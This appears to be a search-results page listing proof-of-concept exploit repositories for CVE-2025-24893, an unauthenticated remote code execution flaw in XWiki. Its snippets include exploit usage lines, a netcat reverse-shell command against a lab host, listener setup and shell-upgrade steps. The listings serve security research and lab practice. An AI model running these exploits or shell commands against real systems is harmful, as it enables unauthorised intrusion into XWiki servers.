34 matches found
CVE-2025-24893-POC
CVE-2025-24893 Instalar bun: root@kitploit: curl -fsSL https://bun.com/install | bash Para instalar dependencias: root@kitploit: bun install Para ejecutar: root@kitploit: bun run CVE-2025-24893.ts Este proyecto fue creado usando bun init en bun v1.2.19. Bun es un runtime de JavaScript rápido y to...
CVE-2025-24893-PoC
Descargo de responsabilidad: La vulnerabilidad descrita en este documento y sus pasos de reproducción se proporcionan únicamente con fines de investigación y educación en ciberseguridad. Nadie debe utilizar la información aquí proporcionada con fines ilegales o para pruebas no autorizadas en...
CVE-2025-24893
Reverse shell for CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" upgrade the shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...
CVE-2025-24893-RCE-PoC
信息 此 PoC 首先测试 SSTI 是否有效，如果成功，则会进入循环，允许您远程执行命令。 当前 exec 和 shell 命令功能相同。 安装 root@kitploit: python3 -m pip install requirements.txt 用法 连接 root@kitploit: python3 poc.py 示例 调试模式设置为 False（默认） root@kitploit: python3 poc.py http://10.129.137.222:8080 Targeting http://10.129.137.222:8080 + Target is...
CVE-2025-24893-POC
CVE-2025-24893-POC 一个使用 Python 编写的 CVE-2025-24893 的 POC 用法 python3 -u the url...
CVE-2025-24893
CVE-2025-24893 XWiki RCE 漏洞分析 环境搭建 1. 运行 XWiki 15.10.10 环境 root@kitploit: docker-compose up -d 2. 访问 XWiki URL: http://localhost:8080 完成初始设置后进行测试 访问初始页面后创建管理员帐户 安装 xwiki 基本扩展 赋予用户脚本权限 漏洞信息 CVE ID : CVE-2025-24893 产品 : XWiki Platform 版本 : 15.10.10 漏洞类型 : Remote Code Execution RCE CVSS : TBD PoC 代码...
XWiki Platform - Remote Code Execution
Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1. id: CVE-2025-24893 info: name: XWiki...
CVE-2025-24893
CVE-2025-24893 Uso root@kitploit: python CVE-2025-24893 http://target.com...
CVE-2025-24893
CVE-2025-24893 XWiki Platform 中 RCE 漏洞的 Bash POC 脚本 使用示例： 设置 netcat 监听器： root@kitploit: $ nc -nvlp 然后运行脚本： root@kitploit: $ chmod +x cve.sh $ ./cve.sh 受影响版本： 从 5.4 到 15.10.11 从 16.0.0 到 16.4.1 免责声明 此工具仅用于教育目的。我对任何滥用行为不承担责任。...
xwiki-cve-2025-24893-poc
XWiki RCE 漏洞利用 PoC CVE-2025-24893 概述 本仓库包含针对 XWiki 远程代码执行 RCE 漏洞（编号 CVE-2025-24893）的概念验证 PoC 漏洞利用代码。该漏洞允许攻击者通过向 SolrSearch 端点发送精心构造的请求，在目标 XWiki 实例上执行任意代码。本脚本同时支持 HTTP 和 HTTPS 目标。 ⚠️ 免责声明 ：本 PoC 仅供教育及研究用途。未经明确许可，将此代码用于任何系统均属违法且不道德。测试任何系统前，请务必获得适当授权。 漏洞详情 CVE 编号 ：CVE-2025-24893 受影响组件 ：XWiki...
xwiki_solrsearch-rce-exploit
solrsearch-rce-exploit 针对 XWiki SolrSearch 的未授权 RCE PoC CVE-2025-24893。命令执行 + 反向 Shell。 CVE-2025-24893 – XWiki SolrSearch RCE PoC 针对 XWiki SolrSearch 模板注入导致未授权远程代码执行的概念验证。 已在 XWiki Debian 15.10.8 （修复版本：15.10.11 / 16.4.1 / 16.5.0RC1）上测试通过。 ⚠️ 仅用于教育目的。请勿在未经授权或明确许可的系统上运行。 功能 通过...
POC-for-CVE-2025-24893
仅用于辅助漏洞修复，切勿用于其他用途...
xwiki-15.10.8-reverse-shell-cve-2025-24893
CVE-2025-24893 XWiki 反向 Shell 利用脚本 免责声明： 此脚本仅用于教育目的和授权的安全测试 。请勿 在您不拥有或未经明确许可的系统上使用。滥用可能导致非法和危险后果。 描述 该 Python 脚本利用 CVE-2025-24893 ，这是一个影响 XWiki 版本直至 15.10.10 的远程代码执行漏洞。 测试版本： XWiki 15.10.8 影响： 允许在目标服务器上执行任意命令。 Python 版本： 使用 Python 3 编写和测试 此版本扩展了 Al Baradi Joy 的原始 PoC ，以生成一个反向 Shell 。原始 PoC 可在此处找到...
XWiki-Platform-RCE-CVE-2025-24893
XWiki Platform 未授权 RCE 漏洞利用工具 概述 本脚本是一个重新设计的 Bash 实现，用于利用受 CVE-2025-24893 影响的 XWiki Platform 版本。它利用了一个关键的未授权远程代码执行漏洞，该漏洞允许攻击者通过 SolrSearch 宏中的模板注入缺陷执行任意 Groovy 代码。 原始的 Python 漏洞利用实现由多位安全研究人员创建，此处针对 Bash 用户进行了改编，简化了执行流程并增强了可用性。 漏洞详情 发现者 ：John Kwak（Trend Micro 的 Zero Day Initiative） CVE...
Exploit for Eval Injection in Xwiki
CVE-2025-24893 - XWiki SolrSearch SSTI to unauthenticated RCE...
Exploit for Eval Injection in Xwiki
CVE-2025-24893- CVE-20...
Exploit for Code Injection in Xwiki
CVE-2025-24893 – XWiki Remote Command Execution Proof of Conc...
Exploit for Code Injection in Xwiki
CVE-2025-24893 Remote Code Execution exploit for XWikihttp...